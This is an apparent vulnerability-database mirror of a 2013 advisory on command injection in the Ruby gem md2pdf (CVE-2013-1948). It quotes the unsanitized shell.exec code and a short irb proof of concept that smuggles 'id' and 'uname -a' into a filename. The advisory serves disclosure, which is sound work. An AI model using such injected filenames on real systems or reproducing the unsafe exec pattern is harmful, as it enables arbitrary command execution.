Lucene search
+L

Ruby Gem md2pdf Command Injection Vulnerability

🗓️ 16 Apr 2013 00:00:00Reported by Larry CashdollarType 
zdt
 zdt
🔗 0day.today👁 71 Views

Vulnerability in Ruby Gem md2pdf Command Injection

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2013-1948
25 Apr 201323:00
–cve
cvelist
Cvelist
CVE-2013-1948
25 Apr 201323:00
–cvelist
euvd
EUVD
EUVD-2017-0201
7 Oct 202500:30
–euvd
github
Github Security Blog
md2pdf allows context-dependent attackers to execute arbitrary commands via shell metacharacters in a filename
24 Oct 201718:33
–github
mend
Mend
CVE-2013-1948
25 Apr 201323:00
–mend
nvd
NVD
CVE-2013-1948
25 Apr 201323:55
–nvd
osv_ghsa
osv_ghsa
GHSA-99CH-8MVP-G7M5 md2pdf allows context-dependent attackers to execute arbitrary commands via shell metacharacters in a filename
24 Oct 201718:33
–osv_ghsa
packetstorm
Packet Storm
Ruby Gem md2pdf Command Injection
15 Apr 201300:00
–packetstorm
prion
Prion
Design/Logic Flaw
25 Apr 201323:55
–prion
ptsecurity
Positive Technologies
PT-2013-3483
25 Apr 201300:00
–ptsecurity
Rows per page
Remote command injection md2pdf ruby gem
4/10/2013

Description: "creates pdf documents from markdown documents"

https://rubygems.org/gems/md2pdf

In md2pdf/converter.rb we see user supplied input being passed to the command line with out proper sanitization.

 12       shell.exec("pandoc#{options} #{input_filename} -o #{output_filename}")

23 shell.exec("pdftk #{temp_filename} multibackground #{background_path} output #{output_filename}")

Where exec is defined as the following:

 37     def exec(command_line)
 38       require 'open3'
 39       stdin, stdout, stderr = Open3.popen3(command_line)
 40       return stdout.read
 41     end

PoC Notes:

irb(main):001:0> require 'open3'
=> true
irb(main):002:0> stdin, stdout, stderr = Open3.popen3('pdfcnv filename;id;uname -a;.pdft')
=> [#, #, #]
irb(main):003:0> puts stdout.read
uid=1000(larry) gid=1000(larry) groups=1000(larry),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),117(sambashare)
Linux underfl0w 3.2.0-39-virtual #62-Ubuntu SMP Wed Feb 27 22:45:45 UTC 2013 i686 athlon i386 GNU/Linux
=> nil

http://vapid.dhs.org/advisories/md2pdf-remote-exec.html


This vulnerability has been assigned: CVE-2013-1948

Larry W. Cashdollar
@_larry0



CVE-2013-1948

#  0day.today [2018-04-11]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Apr 2013 00:00Current
0.4Low risk
Vulners AI Score0.4
EPSS0.02161
71